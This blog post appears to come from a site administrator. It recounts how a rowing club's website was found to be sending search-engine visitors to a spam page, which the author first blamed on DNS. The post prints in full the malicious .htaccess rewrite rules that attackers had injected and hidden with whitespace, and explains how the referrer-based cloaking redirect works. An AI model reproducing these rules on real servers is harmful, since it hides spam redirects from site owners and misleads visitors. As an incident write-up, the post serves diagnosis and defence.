Apache Criminals

So the problem is solved. Huzzah and hoorah.

But it’s a weird one. Someone pointed out that, after a bit of packet sniffing, it looked like the dodgy pages actually originated from the genuine IP address. So while the first reaction of any technologist is to blame everyone and anyone else maybe, just maybe, that was a little hasty.

So, out comes PuTTY, and a quick scan of the root directory for that domain later and … that’s odd. The .htaccess file has been changed way more recently than I might have expected (and it’s a little bigger).

8 -rw-r--r-- 1 lowfield users 4961 Oct 24 00:46 .htaccess

Odd, though, because the permissions should make it that it’s only me that can write to that file (644).

But there it is, hidden away padded by loads of whitespace:

# a0b4df006e02184c60dbf503e71c87ad
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_-]+.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24). [NC]
RewriteCond %{HTTP_REFERER} [?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)=
RewriteCond %{HTTP_REFERER} ![?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)=[^&]+(%3A|%22)
RewriteCond %{TIME_SEC} <54
RewriteRule ^.*$ /ctte/elire/t.htm [L]
# a995d2cc661fa72452472e9554b5520c

For the benefit of those not fluent in the arcane ways of RegExp and the Apache RewriteEngine, this was basically checking to see if you’d come from a search engine and, if you had, delivering a different page (although only in 90% of instances).

Most times when you click on a link, your browser tells the new website where you came from, known as the REFERRER tag, so this was using that to determine whether to do it. This meant that if people typed in the address, like regular users would, or used a bookmark, they would probably miss the redirection and be none the wiser.

And, to compound the ignominy, it had even written the guilty dodgy page on the local machine and hidden it in a sub-directory off the main directory. So it really was my site to blame.

Seems like I wasn’t the only one either, this is a very similar description and whaddya know,

DNS? No, Google (or Yahoo, or Ask) …

So it all started with a handful of users complaining that they were unable to access Vesta web page at www.vrc.org.uk, saying they were seeing some dodgy spam site. A few of these complaints arrived. I couldn’t replicate the situation at work, at home or through a couple of other places I was attempting it.

Obviously my first thought was some poisoned DNS somewhere along the line. This seemed to be confirmed when someone noticed that if you visited vrc.org.uk instead, this worked. (Which it should do – they both point at the same address.) Maybe a dodgy DNS server had been repointed to a dodgy page for some users.

I contacted my hosting company‘s support who were helpful, pointing out their the domain’s nameservers were still fine and that the DNS they were serving up was accurate. Maybe it was spyware, they suggested, get them to run ipconfig and maybe we could trace their DNS servers.

So there was a few days of head-scratching.

Maybe try changing the name-server to point elsewhere to flush out the net’s DNS system and then re-point it and test other domains from the hosting company, suggested people. Nothing illuminating was coming from people who sent me ipconfig output. No-one had corrupted etc/hosts files either so it wasn’t a localised Trojan hijacking their browser.

Then a penny dropped.

  1. Go to Google (or Yahoo or, apparently, Ask.com).
  2. Search for the phrase Scullers Head. You should see quite near the top the result for either http://www.vrc.org.uk/sh/ or http://www.vrc.org.uk/scullers_head/.
  3. If you click on that link you might well find a page that is not what you expect. It’ll be a black background with the search term in a bordered box and various dodgy links. But the URL in the address bar looks accurate.
  4. Hit the back button, if you’re on Google, click on the Similar Pages link
  5. Follow the top link (which is current to the main Vesta page)
  6. The same black background and dodgy links, but with "related:www.vrc.org.uk/sh" in the bordered box at the top.

So now what? If you type in the address (so long as you’ve flushed the cache) you’ll get to the correct site. If you type in the address without the www. at the front, you’ll definitely get to the site …. but if you come via $SEARCH_ENGINE you’ll get spoofed.

Now, if you look at the various page details there are many references to the IP address 67.18.150.90. And if you search for references to this, there’s one other page complaining of similar behaviour.

So, I’m at a loss. Anyone got any ideas?

Update: This problem has now been resolved.
[tags]DNS, Google, spoof, security[/tags]